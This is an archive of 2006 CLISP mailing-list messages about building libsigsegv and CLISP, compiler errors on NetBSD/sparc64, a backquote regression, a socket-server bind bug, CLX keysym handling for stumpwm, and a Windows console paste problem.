 /var/cache/yum/extras/headers/libsigsegv-devel-2.2-1.fc4.x86_64.hdr
 /var/cache/yum/extras/packages/libsigsegv-2.2-1.fc4.x86_64.rpm
 /var/cache/yum/extras/packages/libsigsegv-devel-2.2-1.fc4.x86_64.rpm
 /usr/share/doc/libsigsegv-2.2
 /usr/share/doc/libsigsegv-2.2/README
 /usr/share/doc/libsigsegv-2.2/AUTHORS
 /usr/share/doc/libsigsegv-2.2/ChangeLog
 /usr/share/doc/libsigsegv-2.2/NEWS
 /usr/lib64/libsigsegv.so.0
 /usr/lib64/libsigsegv.so
 /usr/lib64/libsigsegv.so.0.0.0
 /usr/lib64/libsigsegv.a
 /root/clisp/tools/libsigsegv-2.2
 /root/clisp/tools/libsigsegv-2.2/config.h.in
 /root/clisp/tools/libsigsegv-2.2/m4
 /root/clisp/tools/libsigsegv-2.2/m4/mmap-anon.m4
 /root/clisp/tools/libsigsegv-2.2/m4/sigaltstack-siglongjmp.m4
 /root/clisp/tools/libsigsegv-2.2/m4/libtool.m4
 /root/clisp/tools/libsigsegv-2.2/m4/sigaltstack.m4
 /root/clisp/tools/libsigsegv-2.2/m4/relocatable.m4
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 /root/clisp/tools/libsigsegv-2.2/m4/sigaltstack-longjmp.m4
 /root/clisp/tools/libsigsegv-2.2/m4/getpagesize.m4
 /root/clisp/tools/libsigsegv-2.2/m4/bold.m4
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From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen)
Date: Mon, 27 Feb 2006 18:18:41 -0800
To: clisp-list@lists.sourceforge.net
Subject: [clisp-list] trouble seeing libsigsegv - solution


I still don't understand why the already installed libsigsegv was
not sufficient, but I find the problem in the last attempt is
that it uses a file named config.cache.
When I rename it things work much better.
So perhaps that ought to be incorporated into this advice.

 Please do this:
   mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu
   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
   tar xfz libsigsegv-2.2.tar.gz
   cd libsigsegv-2.2
   ./configure --prefix=3D${prefix} && make && make check && make =
install
   cd ../..
   ./configure --with-libsigsegv-prefix=3D${prefix} =
--with-module=3Drawsock --build build-dir



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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Magnus Henoch writes:
>>I'm trying to build CVS HEAD on NetBSD/sparc64 3.0, with the command
>>line:
>>gcc [...]-g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 
>>-DUNICODE -DNO_GETTEXT -I. -c lisparit.c
>
> Why are you starting with a debug build?  Because you encountered
> other problems?

Yes, without the debug option the produced lisp.run failed to start,
with a segfault.

> What version of gcc is this?

gcc (GCC) 3.3.3 (NetBSD nb3 20040520)

>>In file included from lisparit.d:8:
>>lispbibl.d:8962: warning: volatile register variables don't 
>>work as you might wish
>>In file included from lisparit.d:36:
>>intdiv.d: In function `I_I_divide_I_I':
>>intdiv.d:312: error: void value not ignored as it ought to be
>>intdiv.d:312: error: void value not ignored as it ought to be
>
> Please try out this change in src/arilev0.d:1175:
> replace divu_6432_3232(...,q=,);}\
> with
>                        ...,q=,_EMA_);}\
> and reports results.  I'm not sure this is it because you use gcc and I would not have expected gcc's cccp to cause trouble here.

I get the same error.

> Otherwise please do
> make lisparit.i
> and try to investigate the section around
> # 285 "intdiv.d"
>   static void I_I_divide_I_I (object x, object y)
> ...
> or post the snippet here (or send me whole file, privately).

After narrowing and unwrapping, it turns out that the problem is in
these lines:

      _x -= ((uint64)(uint32)(({ register uint32 _lo = mulu32_(_q,((uint32)((uint64)(_y)>>32)));
	      { register uint32 _hi __asm__("%g1");
		(((uint64)(uint32)(_hi) << 32) | (uint64)(uint32)(_lo));
	      }
	    }
	    )) << 32);
      _x -= ({ register uint32 _lo = mulu32_(_q,((uint32)(uint64)(_y)));
	  { register uint32 _hi __asm__("%g1");
	    (((uint64)(uint32)(_hi) << 32) | (uint64)(uint32)(_lo));
	  }
	}
	);

which are derived from these lines in arilev0.d:

            # x-q*y bilden (eine 32-mal-64-Bit-Multiplikation ohne Überlauf):   \
            _x -= highlow64_0(mulu32_64(_q,high32(_y))); # q * high32(y) * beta \
            # gefahrlos, da q*high32(y) <= q*y/beta <= x/beta < beta            \
            _x -= mulu32_64(_q,low32(_y)); # q * low32(y)                       \

Trying to compile this trivial example convinces me that the problem
is the doubly-nested block:

void main(void) {
  int i;

  /* this causes 'error: void value not ignored as it ought to be' */
  i = ({   int j = 1;
      {int k = 2;
	j + k; } });

  printf("%d\n", i);
}

Removing the inner braces before "int k" in this example makes it
compile.  I'm not sure how that would be done in the clisp code,
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Hi,

Under Windows I can run a lisp file with command line
arguments so following will have some output:
(format t "~&~S~&" *args*)
(dolist (item *args*)
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If I put the same code into the start function and
save the standalone exe it doesn't work. 

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Magnus Henoch writes:
>Yes, without the debug option the produced lisp.run failed to start,
>with a segfault.
Please report a bug and see if the only difference between success and =
failure is -DSAFETY=3D3 or -DNO_GENERATIONAL_GC (note that SAFETY=3D3 =
disables gen.GC).

>gcc (GCC) 3.3.3 (NetBSD nb3 20040520)
>Trying to compile this trivial example convinces me that the problem
>is the doubly-nested block:
>void main(void) {
>  int i;
>  /* this causes 'error: void value not ignored as it ought to be' */
>  i =3D ({   int j =3D 1;
>      {int k =3D 2;
>	j + k; } });
>  printf("%d\n", i);
>}
>
>Removing the inner braces before "int k" in this example makes it
>compile.  I'm not sure how that would be done in the clisp code,
>though...

Please go to src/arilev0.d:474 and remove the second { and a matching }
from this code section:
    #elif defined(SPARC)
      #define mulu32_64(x,y)  \
        ({ var register uint32 _lo =3D mulu32_(x,y); # extern in =
Assembler \
          {var register uint32 _hi __asm__("%g1");                      =
 \
           highlow64(_hi,_lo);                                          =
 \
         }})
    #endif
And report results here.

It's somewhat odd that this error does not occur more often, because =
I'd have expected this same pattern in other places as well...

For example:
intlog.d:726
local maygc object I_logcount_I (object x)
{
  if (I_fixnump(x)) {
    var uint16 x16; /* auxiliary variable */
   {var uintV x32 =3D FN_to_V(x); /* x as intVsize-bit-number */
And this function compiles on your system?
This starts to sound like a GCC bug report.

In any case, these extra {} are superfluous if they don't limit =
scoping, so I'll remove them if you report success.

Thanks for the analysis,
	J=F6rg H=F6hle.


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On 3/1/06, Hoehle, Joerg-Cyril <Joerg-Cyril.Hoehle@t-systems.com> wrote:
>
> [snip]
>
> Dear mingw users, please report your version and results. Please
> include output from lisp.exe -B . --version or (software-type).
>
> If you're on MS-Windows XP, you'll need the cvs version of libsigsegv
> (with patches adapted from Doug).  Otherwise you can use the
> release-2.2 (e.g. it should work on MS-w2k like I have).
> E-Mail me and I can send you my MS-VC6 build of
> libsigsegv.lib + libsigsegv.h from CVS.

Hi, Joerg. Sorry for the dumb question, but is Doug's email to
clisp-list on March 25 2005 where he starts with

"I seem to have found two more bugs in libsigsegv 2.2 handler-win32.c..."

the correct message to grab patches from in order to do this
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Jack Unrue wrote:
>> Dear mingw users, please report your version and results. Please
>> include output from lisp.exe -B . --version or (software-type).
>>
>> If you're on MS-Windows XP, you'll need the cvs version of =
libsigsegv
>> (with patches adapted from Doug).  Otherwise you can use the
>> release-2.2 (e.g. it should work on MS-w2k like I have).
>> E-Mail me and I can send you my MS-VC6 build of
>> libsigsegv.lib + libsigsegv.h from CVS.

>Hi, Joerg. Sorry for the dumb question, but is Doug's email to
>clisp-list on March 25 2005 where he starts with [...]
:These two new fixes are in addition to the two fixes I wrote about
:yesterday (well, much earlier today I guess) (repeated below).

Yes, that's it. But I did not expect anybody to use this one except in =
one situation[*].
Libsigsegv is here:
http://libsigsegv.sourceforge.net/
Thus you can download either the 2.2 release files, or go to the CVS =
section and download a tarball with the MS-WinXP patches or ask me for =
my libsigsegv.lib/.h.

[*] if you find that libsigsegv-CVS fails on your XP machine with =
clisp/mingw, then it could be valueable to try out Doug's original =
version.  Because Doug has a mingw/gcc/clisp/sigsegv combination that =
reportedly works.
:Software: GNU C 3.4.5 (mingw special)

Regards,
	J=F6rg H=F6hle.


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Hi,

Thomas Zellerin wrote this note in comp.lang.lisp:
Message-ID: <1139909265.496444.247530@f14g2000cwb.googlegroups.com>

[...] seing two small files recalled my recent experiments with bat/cmd
files with lisp inside - it appears that windows conventiently ignore ;
at the beginning of line, so you can have content below in bat/cmd file
and it works. It may be sometimes convenient replacement of long
escaped -x parameter, and it is also quite trivial to have the lisp
part compiled there.

Not that I would have anything against your version, I just thought
this is not so widely known and maybe worthy mentioning.

[...]
Regards,
Tomas

Sample .cmd file:
; lisp -M lispinit.mem -i %0
; exit

(use-package "FFI")
(def-call-out messagebox
              (:name "MessageBoxA") (:library "user32.dll")
              (:arguments (hwnd int) (text c-string) (capt c-string)
(type uint))
              (:return-type int)
              (:language :stdc))

(defun main()
  (messagebox 0 "Hello World!" "Message" 0)
  (quit))

(ext:saveinitmem "message" :init-function #'main :executable t :norc t)
; or just call (main)?? -- Joerg Hoehle asks


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(I tried to send this to the list on Friday, but it seems to have gotten
dropped)
=20
When I run this code with the latest release (2.38), I get strange
results:
=20
----
(format t "~%~%test case 1:~%")
=20
(let* ((testme nil)
       (testform ``(a ,@',testme d)) )
  (princ testform)
  (format t "~%")
  (princ (eval testform)) )
=20
=20
=20
(format t "~%test case 2:~%")
(let* ((testme '(b c))
       (testform ``(a ,@',testme d)) )
  (princ testform)
  (format t "~%")
  (princ (eval testform)) )
=20
=20
=20
(format t "~%~%")
----
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I would expect evaluating testform to give me (a d) in the first case
and (a b c d) in the second case.  However, clisp seems to truncate the
list after the ,@ portion of the expression, giving me (a) and (a b c)
from the test cases.
=20
I narrowed it down to the problem being introduced in 2.33.84 (CVS tag
clisp_2_33_84-2005-07-07).  When I run it in this release (and the CVS
head), I get:
=20
----
[1]> (lisp-implementation-version)
"2.33.84 (2005-07-07) (built 3350413236) (memory 3350413776)"
[2]> (load "~/backquote-test.lisp")
;; Loading file /home/mcross/backquote-test.lisp ...
=20
test case 1:
'(A)
(A)
test case 2:
'(A B C)
(A B C)
=20
;; Loaded file /home/mcross/backquote-test.lisp
T
----
=20
When I run it in 2.33.2 (CVS tag clisp_2_33_2-2004-06-02) and older
releases, it works:
=20
----
[1]> (lisp-implementation-version)
"2.33.2 (2004-06-02) (built 3350412156) (memory 3350412304)"
[2]> (load "~/backquote-test.lisp")
;; Loading file /home/mcross/backquote-test.lisp ...
=20
test case 1:
(CONS 'A (APPEND 'NIL '(D)))
(A D)
test case 2:
(CONS 'A (APPEND '(B C) '(D)))
(A B C D)
=20
;; Loaded file /home/mcross/backquote-test.lisp
T
----
=20
I am running on Ubuntu Linux 5.10.
=20
I don't see anything obvious in the NEWS file for 2.38 that would affect
this.  I'm going to look around to see if I can understand what's going
on, but I've never delved into clisp internals before.  Can someone take
a look at this also?
=20
Thanks,
=20
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<DIV><FONT face=3DArial size=3D2><SPAN=20
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<DIV><FONT face=3DArial size=3D2><SPAN class=3D777114222-03032006>I =
would expect=20
evaluating testform to give me (a d) in the first case and (a b c d) in =
the=20
second case.&nbsp; However, clisp seems to truncate the list after the =
,@=20
portion of the expression, giving me (a) and (a b c) from the test=20
cases.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D777114222-03032006></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D777114222-03032006>I =
narrowed it down=20
to the problem being introduced in 2.33.84 (CVS tag=20
clisp_2_33_84-2005-07-07).&nbsp; When I run it in this release (and the =
CVS=20
head), I get:</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D777114222-03032006></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D777114222-03032006>----</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN =
class=3D777114222-03032006>[1]&gt;=20
(lisp-implementation-version)<BR>"2.33.84 (2005-07-07) (built =
3350413236)=20
(memory 3350413776)"<BR>[2]&gt; (load "~/backquote-test.lisp")<BR>;; =
Loading=20
file /home/mcross/backquote-test.lisp ...</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D777114222-03032006>test =
case=20
1:<BR>'(A)<BR>(A)<BR>test case 2:<BR>'(A B C)<BR>(A B =
C)</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D777114222-03032006>;; =
Loaded file=20
/home/mcross/backquote-test.lisp<BR>T<BR>----</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D777114222-03032006></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D777114222-03032006>When I =
run it in=20
2.33.2 (CVS tag clisp_2_33_2-2004-06-02) and older releases, it=20
works:</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D777114222-03032006></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D777114222-03032006>----</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN =
class=3D777114222-03032006>[1]&gt;=20
(lisp-implementation-version)<BR>"2.33.2 (2004-06-02) (built 3350412156) =
(memory=20
3350412304)"<BR>[2]&gt; (load "~/backquote-test.lisp")<BR>;; Loading =
file=20
/home/mcross/backquote-test.lisp ...</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D777114222-03032006>test =
case=20
1:<BR>(CONS 'A (APPEND 'NIL '(D)))<BR>(A D)<BR>test case 2:<BR>(CONS 'A =
(APPEND=20
'(B C) '(D)))<BR>(A B C D)</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D777114222-03032006>;; =
Loaded file=20
/home/mcross/backquote-test.lisp<BR>T<BR>----</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D777114222-03032006></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D777114222-03032006>I am =
running on=20
Ubuntu Linux 5.10.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D777114222-03032006></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D777114222-03032006>I =
don't see anything=20
obvious in the NEWS file for 2.38 that would affect this.&nbsp; I'm =
going to=20
look around to see if I can understand what's going on, but I've never =
delved=20
into clisp internals before.&nbsp; Can someone&nbsp;take a look at this=20
also?</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><SPAN class=3D777114222-03032006><FONT face=3DArial=20
size=3D2>Thanks,</FONT></SPAN></DIV></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2>--</FONT></DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2>Matt Cross</FONT></DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2>Senior Lead Software=20
Engineer</FONT></DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2>iRobot =
Corporation</FONT></DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2>63 South Avenue, =
Burlington, MA=20
01803</FONT></DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2>781-418-3373 =
(ph)</FONT></DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2>781-345-0201 =
(fax)</FONT></DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2><A=20
href=3D"mailto:mcross@irobot.com">mcross@irobot.com</A></FONT></DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2><A=20
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My message to the list was delayed because I sent it out as HTML.
Anyways, I spent more time looking at this, and sent a patch to Bruno
who accepted it and checked it into CVS.

I also found that this was already logged as bug 1308444.  My patch is
listed in the bug report:

http://sourceforge.net/tracker/?group_id=3D1355&atid=3D101355&func=3Ddeta=
il&ai
d=3D1308444=20



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	Subject: [clisp-list] Problem with complex backquote expression
=09
=09
	(I tried to send this to the list on Friday, but it seems to
have gotten dropped)
	=20
	When I run this code with the latest release (2.38), I get
strange results:
	=20
	----
	(format t "~%~%test case 1:~%")
	=20
	(let* ((testme nil)
	       (testform ``(a ,@',testme d)) )
	  (princ testform)
	  (format t "~%")
	  (princ (eval testform)) )
	=20
	=20
	=20
	(format t "~%test case 2:~%")
	(let* ((testme '(b c))
	       (testform ``(a ,@',testme d)) )
	  (princ testform)
	  (format t "~%")
	  (princ (eval testform)) )
	=20
	=20
	=20
	(format t "~%~%")
	----
	=20
	I would expect evaluating testform to give me (a d) in the first
case and (a b c d) in the second case.  However, clisp seems to truncate
the list after the ,@ portion of the expression, giving me (a) and (a b
c) from the test cases.
	=20
	I narrowed it down to the problem being introduced in 2.33.84
(CVS tag clisp_2_33_84-2005-07-07).  When I run it in this release (and
the CVS head), I get:
	=20
	----
	[1]> (lisp-implementation-version)
	"2.33.84 (2005-07-07) (built 3350413236) (memory 3350413776)"
	[2]> (load "~/backquote-test.lisp")
	;; Loading file /home/mcross/backquote-test.lisp ...
	=20
	test case 1:
	'(A)
	(A)
	test case 2:
	'(A B C)
	(A B C)
	=20
	;; Loaded file /home/mcross/backquote-test.lisp
	T
	----
	=20
	When I run it in 2.33.2 (CVS tag clisp_2_33_2-2004-06-02) and
older releases, it works:
	=20
	----
	[1]> (lisp-implementation-version)
	"2.33.2 (2004-06-02) (built 3350412156) (memory 3350412304)"
	[2]> (load "~/backquote-test.lisp")
	;; Loading file /home/mcross/backquote-test.lisp ...
	=20
	test case 1:
	(CONS 'A (APPEND 'NIL '(D)))
	(A D)
	test case 2:
	(CONS 'A (APPEND '(B C) '(D)))
	(A B C D)
	=20
	;; Loaded file /home/mcross/backquote-test.lisp
	T
	----
	=20
	I am running on Ubuntu Linux 5.10.
	=20
	I don't see anything obvious in the NEWS file for 2.38 that
would affect this.  I'm going to look around to see if I can understand
what's going on, but I've never delved into clisp internals before.  Can
someone take a look at this also?
	=20
	Thanks,
	=20
	--
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	Senior Lead Software Engineer
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Hi guys.

It appears that the SOCKET-SERVER function is broken. If you specify
an :INTERFACE parameter, it tries to create and bind two sockets. The
first one is successfully set up on the correct interface, but then
the second bind() fails of course (and it is attempted on 127.0.0.1).
So the function raises a Lisp condition related to EADDRINUSE.

This is shown on a Linux platform by doing

  strace clisp -x '(socket-server 8001 :interface "0.0.0.0")'

If you don't have the :INTERFACE parameter, it creates and binds just
one socket successfully, on 127.0.0.1:8001. Everything is cool. But
add the :INTERFACE parameter and this happens:


socket(PF_INET, SOCK_STREAM, IPPROTO_IP) =3D 5
setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) =3D 0
bind(5, {sa_family=3DAF_INET, sin_port=3Dhtons(8001),
sin_addr=3Dinet_addr("0.0.0.0")}, 16) =3D 0
listen(5, 1)                            =3D 0
getsockname(5, {sa_family=3DAF_INET, sin_port=3Dhtons(8001),
sin_addr=3Dinet_addr("0.0.0.0")}, [16]) =3D 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) =3D 6
setsockopt(6, SOL_SOCKET, SO_REUSEADDR, [1], 4) =3D 0
bind(6, {sa_family=3DAF_INET, sin_port=3Dhtons(8001),
sin_addr=3Dinet_addr("127.0.0.1")}, 16) =3D -1 EADDRINUSE (Address already
in use)


Cheers ...


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Hi everybody,

I'm trying to use stumpwm[1] with clisp (2.38) and the mit-clx.
All works really fine except the timeout in the main loop in 
functions process-event and event-listen.

I've tried with the clx demo. I've add a timeout in the pop-up
function (in the event-case) in menu.lisp and it seems to not be
handle properly where cmucl and sbcl works as expected.

How can I handle this timeout with clisp ?


Another question, I have tried to use the new-clx for the same purpose
and it complain about character->keysyms that is not defined.
How can I define this function ?
I've had a look at the same function in the mit-clx, but I haven't find
a way to use it in new-clx.


Thanks a lot for your great work,


Philippe

[1] http://www.nongnu.org/stumpwm/

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Philippe Brochard <hocwp@free.fr> writes:

> Another question, I have tried to use the new-clx for the same purpose
> and it complain about character->keysyms that is not defined.
> How can I define this function ?
> I've had a look at the same function in the mit-clx, but I haven't find
> a way to use it in new-clx.

This estimation seems good enough for stumpwm:

(defun char->keysym (ch)
  "Convert a char to a keysym"
  ;; XLIB:CHARACTER->KEYSYMS should probably be implemented in NEW-CLX
  ;; some day.  Or just copied from MIT-CLX or some other CLX
  ;; implementation (see translate.lisp and keysyms.lisp).  For now,
  ;; we do like this.  It suffices for modifiers and ASCII symbols.
  #-clisp (first (xlib:character->keysyms ch))
  #+clisp (case ch
	    (:character-set-switch #xFF7E)
	    (:left-shift #xFFE1)
	    (:right-shift #xFFE2)
	    (:left-control #xFFE3)
	    (:right-control #xFFE4)
	    (:caps-lock #xFFE5)
	    (:shift-lock #xFFE6)
	    (:left-meta #xFFE7)
	    (:right-meta #xFFE8)
	    (:left-alt #xFFE9)
	    (:right-alt #xFFEA)
	    (:left-super #xFFEB)
	    (:right-super #xFFEC)
	    (:left-hyper #xFFED)
	    (:right-hyper #xFFEE)
	    (t
	     (etypecase ch
	       (character
		;; Latin-1 characters have their own value as keysym
		(if (< 31 (char-code ch) 256)
		    (char-code ch)
		  (error "Don't know how to get keysym from ~A" ch))))))
  )

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Magnus Henoch writes:

> Philippe Brochard <hocwp@free.fr> writes:
>
>> Another question, I have tried to use the new-clx for the same purpose
>> and it complain about character->keysyms that is not defined.
>> How can I define this function ?
>> I've had a look at the same function in the mit-clx, but I haven't find
>> a way to use it in new-clx.
>
> This estimation seems good enough for stumpwm:
>

[Snip nice working code]

Ok, thanks a lot, this seems to work fine ! And the timeout is also
working with new-clx: great !


But, now I have another problem: when I press the Control-t key the
system break with this message:

----------------------------------------------------------------------
*** - SYSTEM::%STRUCTURE-REF: 4 is not a structure of type STUMPWM::SCREEN
The following restarts are available:
SKIP           :R1      skip (UNWIND-PROTECT # # ...)
STOP           :R2      stop loading file /home/phil/local/stumpwm-cvs/stumpwm/load.lisp
ABORT          :R3      ABORT
----------------------------------------------------------------------


After some print inspection, it seems that the ungrab-pointer function
change the screen variable.

The sample code is here:

----------------------------------------------------------------------
...
(dbg "* Screen 1=~A" screen)
(grab-pointer screen)
(dbg "* Screen 2=~A" screen)
(grab-keyboard screen)
(dbg "* Screen 3=~A" screen)
(let ((cmd (handle-keymap screen cmd)))
   ;; We've read our key(s), so we can release the keyboard.
   (dbg1 "* Screen 4=~A" screen)
   (ungrab-pointer)                ; <-- problem here
   (dbg "* Screen 5=~A" screen)
   (ungrab-keyboard)               ; <-- and here
   (dbg1 "* Screen 6=~A" screen)
   (when cmd
     (dbg "2.1.7.1:screen=~A~%" screen)
     (interactive-command cmd screen))))
...
----------------------------------------------------------------------


Here is the output:

----------------------------------------------------------------------
...
DEBUG: * Screen 4=
#S(SCREEN :NUMBER #<SCREEN #x20445DCE>
   :FRAME-TREE
   #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600
      :WINDOW #<WINDOW 1017x587+0+0 localhost #x0080005A #x20446346>)
   :MODIFIERS NIL :FONT #<FONT localhost 9x15bold #x00600005 #x20445E9E>
   :CURRENT-FRAME
   #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600
      :WINDOW #<WINDOW 1017x587+0+0 localhost #x0080005A #x20446346>)
   :MAPPED-WINDOWS
   (#<WINDOW 1017x587+0+0 localhost #x0080005A #x20446346>
    #<WINDOW 1024x600+0+0 localhost #x00A000BB #x20446056>
    #<WINDOW 1018x589+0+0 localhost #x00400010 #x20445F4E>)
   :WINDOW-HASH
   #S(HASH-TABLE TEST FASTHASH-EQL
      (#<WINDOW 1017x587+0+0 localhost #x0080005A #x20446346> .
       #S(HASH-TABLE TEST FASTHASH-EQL
          (FRAME .
           #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600
              :WINDOW #<WINDOW 1017x587+0+0 localhost #x0080005A #x20446346>))
          (NUMBER . 2)))
      (#<WINDOW 1024x600+0+0 localhost #x00A000BB #x20446056> .
       #S(HASH-TABLE TEST FASTHASH-EQL
          (FRAME .
           #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600
              :WINDOW #<WINDOW 1017x587+0+0 localhost #x0080005A #x20446346>))
          (NUMBER . 1)))
      (#<WINDOW 1018x589+0+0 localhost #x00400010 #x20445F4E> .
       #S(HASH-TABLE TEST FASTHASH-EQL
          (FRAME .
           #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600
              :WINDOW #<WINDOW 1017x587+0+0 localhost #x0080005A #x20446346>))
          (NUMBER . 0))))
   :MESSAGE-WINDOW #<WINDOW 334x15+688+0 localhost #x00600004 #x20445E5E>
   :INPUT-WINDOW #<WINDOW 20x20+0+0 localhost #x00600001 #x20445E16>
   :FRAME-WINDOW #<WINDOW 1x1+0+0 localhost #x00600003 #x20445E46>
   :FOCUS-WINDOW #<WINDOW 1x1+0+0 localhost #x00600002 #x20445E2E>)
DEBUG: * Screen 5=#<WINDOW 1024x600+0+0 localhost #x00000040 #x20445DE6>  <-- Here ?
DEBUG: * Screen 6=4        <-- Here ?
DEBUG: 2.1.7.1:screen=4

DEBUG: 2.1.7:screen=4

DEBUG: 2.1:screen=4

DEBUG: 2:screen=4

*** - SYSTEM::%STRUCTURE-REF: 4 is not a structure of type STUMPWM::SCREEN
The following restarts are available:
SKIP           :R1      skip (UNWIND-PROTECT # # ...)
STOP           :R2      stop loading file /home/phil/local/stumpwm-cvs/stumpwm/load.lisp
ABORT          :R3      ABORT
----------------------------------------------------------------------


The ungrab-pointer and ungrab-keyboard are defined as follow:

----------------------------------------------------------------------
(defun ungrab-pointer ()
  "Remove the grab on the cursor and restore the cursor shape."
  (xlib:ungrab-pointer *display*))

(defun grab-keyboard (screen)
  (xlib:grab-keyboard (xlib:screen-root (screen-number screen)) :owner-p nil))
----------------------------------------------------------------------


Is this a normal behaviour to have the screen variable switching from a
screen structure to a window structure and then to 4 after
ungrab-pointer and ungrab-keyboard ?


Philippe

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Hi,
I'm just learning LISP just for fun. I downloaded and
installed CLISP 2.38, on windows xp. There are a
couple of  points that makes life a little harder
(like there is no right-click menu to copy, paste,
etc.), but not a big deal. There is one thing though,
which I believe is a bug, or, say an oversight on your
behalf:

Not being very fond of editing test on the command
prompt, I define some functions in a text file. Then
copy the definition, and paste it using the system
menu on the left upper corner of the console window.
Here what happens:

If my file is saved with \n line endings, and code
spans over multiple lines, everything works OK. But if
the file is saved as a usual windows text file (in
Notepad, say) I get strange errors. You could say
"well, then save it as a unix text file", but I use
the same method for a couple of different interpreters
to try my code, and if I do so, comment lines creates
a problem for them. this necessitates to maintain two
version of each file, headache...

To illustrate the problem, I attached a sample session
in a text file. Please note that #\[ is read L#[ by
interpreter, which is obviously a problem. 

If I type it on the program window, it works. 

Regards,

Nusret

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  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
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[1]> (set-macro-character
        #\[     #'open-bracket-macro-character)

*** - EVAL: variable L#[ has no value
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of L#[.
STORE-VALUE    :R2      You may input a new value for L#[.
ABORT          :R3      ABORT
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Dan,

> Considering getting an Intel-based Macintosh, but alas I will need  
> Common Lisp.  I have waded through somehow messy clisp builds  
> thanks to judicious hand-holding in the past.  My questions: Can I  
> expect the adventure configuring and making to be very difficult?   
> Is somebody else already working on this one? What might be the ETA?
>
> Please advise.

I have a MacBook Pro, and CLISP via Fink (http://fink.sf.net)  
currently doesn't compile on it.

I tried installing the CLISP version of Lispbox (http:// 
www.gigamonkeys.com/book/lispbox/). It runs, but there seems to be  
something funny going on under the hood. I ended up downloading the  
SBCL version of Lispbox and replacing the PPC binaries with those  
from the latest x86/Darwin build (http://wing.fruitfly.org/sbcl/ 
sbcl-0.9.10.37-darwin-x86-binary.tar.gz). This works like a charm.

SBCL will likely find its way into Fink (http://fink.sf.net) in the  
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Cheers,

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nusret writes:

>[1]> (set-macro-character
>        #\[     #'open-bracket-macro-character)
>*** - EVAL: variable L#[ has no value

This looks like another instance of the known bug:
win32 console copy&paste yields errors about 'L'=20
http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1232806&gro=
up_id=3D1355&atid=3D101355

Work-around: Copy&Paste and be sure to move the mouse at the beginning =
of the next line, instead of after the last character you want to copy.


Another work-around *might* be for a fellow C hacker to implement in =
CLISP'C part for MS-Windows a variation on UNIX's line buffered input =
for the terminal.

The error in MS-Windows is triggered by CLISP reading character's from =
the console one after one, instead of providing a large buffer.  =
Unbelievable? Try it out!
Also, if some kind soul want's to provide a bug report to MS, please go =
ahead.
I won't, because I don't feel like they'd be listening to me.

Regards,
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Andreas Yankopolus writes:
>I have a MacBook Pro, and CLISP via Fink (http://fink.sf.net)  
>currently doesn't compile on it.
>
>I tried installing the CLISP version of Lispbox (http:// 
>www.gigamonkeys.com/book/lispbox/).

So that means that some person got clisp to compile for the intel Mac?  Or is that, once again, some "fat binary" emulation of another processor?

> It runs, but there seems to be  
>something funny going on under the hood.
What do you mean?

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Jorg,

> So that means that some person got clisp to compile for the intel  
> Mac?  Or is that, once again, some "fat binary" emulation of  
> another processor?

